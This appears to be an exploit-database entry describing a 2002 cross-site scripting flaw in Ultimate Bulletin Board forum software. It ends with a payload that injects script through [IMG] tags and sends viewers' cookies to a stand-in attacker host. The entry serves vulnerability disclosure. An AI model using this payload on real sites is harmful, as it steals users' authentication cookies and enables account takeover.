Ultimate Bulletin Board 5.4/6.0/6.2 - Cross-Agent Scripting
Author: Obscure
type: webapps
platform: cgi
port:
date_added: 2002-01-09
date_updated: 2012-09-09
verified: 1
codes: CVE-2002-0118;OSVDB-8858
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/3829/info
UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.
UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.
This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.
The following example will send cookie-based authentication credentials to the attacker's site:
[IMG]javascript:document.write
('<img%20src=http://attackersite/tools/cookie.plx?
cookie='+escape(document.cookie)+'>')
[/IMG]